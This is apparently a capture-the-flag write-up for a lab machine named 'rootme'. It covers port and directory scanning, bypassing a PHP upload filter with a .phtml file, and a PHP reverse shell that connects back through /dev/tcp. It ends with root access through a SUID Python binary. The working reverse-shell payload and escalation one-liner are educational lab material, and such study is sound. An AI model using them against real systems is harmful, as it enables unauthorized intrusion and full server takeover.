Reconnaissance
Nmap
A full TCP scan discovers two open ports: SSH on port 22 and HTTP on port 80.
→ root@kali «rootme» «10.9.30.115»
$ nmap -p- --min-rate 1000 --reason -oA nmap/10-tcp-allport 10.10.215.165
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-29 23:35 EDT
Nmap scan report for 10.10.215.165
Host is up, received reset ttl 63 (0.26s latency).
Not shown: 65533 closed ports
Reason: 65533 resets
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 96.24 seconds
Running a script scan didn’t really helpful, so I’ll dig the website on port 80.
Enumeration
TCP 80 - Website
Visiting the website doesn’t display anything except a prompt-like text “root@rootme:~#”.
Gobuster
A Gobuster
scan discovers several directories on this website, ones of which interesting are /uploads
and /panel
.
→ root@kali «rootme» «10.9.30.115»
$ gobuster dir -u http://10.10.215.165/ -w /opt/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -z
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.215.165/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/05/29 23:37:44 Starting gobuster in directory enumeration mode
===============================================================
/js (Status: 301) [Size: 311] [--> http://10.10.215.165/js/]
/css (Status: 301) [Size: 312] [--> http://10.10.215.165/css/]
/uploads (Status: 301) [Size: 316] [--> http://10.10.215.165/uploads/]
/panel (Status: 301) [Size: 314] [--> http://10.10.215.165/panel/]
/server-status (Status: 403) [Size: 278]
===============================================================
2021/05/29 23:43:21 Finished
===============================================================
/panel
On /panel
, there is an upload form, but it blocks a file with .php
extensions.
Foothold
Shell as www-data
Upload filter bypass
Uploading a file with extension .phtml
bypasses the upload filter. The uploaded file can be found at /uploads/[here]
.
Reverse shell
I’ll upload the following file and setup a listener to get a shell.
→ root@kali «rootme» «10.9.30.115»
$ cat iamf.phtml
<?php
system("/bin/bash -c 'bash -i >& /dev/tcp/10.9.30.115/443 0>&1'");
I’ll trigger reverse shell by visiting http://10.10.215.165/uploads/iamf.phtml
on the browser.
Shell upgrade
I’ll do the PTY trick to upgrade my shell to interactive one.
www-data@rootme:/var/www/html$ which python
which python
/usr/bin/python
www-data@rootme:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@rootme:/var/www/html$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.4$ ^Z
[1] + 2625 suspended nc -nvlp 443
→ root@kali «rootme» «10.9.30.115»
$ stty raw -echo; fg
[1] + 2625 continued nc -nvlp 443
bash-4.4$
The user flag can be found at /var/www/user.txt
.
bash-4.4$ find / -type f -user www-data 2>/dev/null | grep -v 'proc\|sys'
...
/var/www/user.txt
...
Privilege Escalation
Shell as root
I find out the current Python binary has SUID bit set.
bash-4.4$ find / -type f -perm -u=s 2>/dev/null | grep -v 'snap'
...
/usr/bin/python
...
Python with SUID can be exploited by executing import os; os.execl("/bin/bash", "bash", "-p")
:
bash-4.4$ python -c 'import os; os.execl("/bin/bash", "bash", "-p")'
bash-4.4# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
I can grab the root flag now.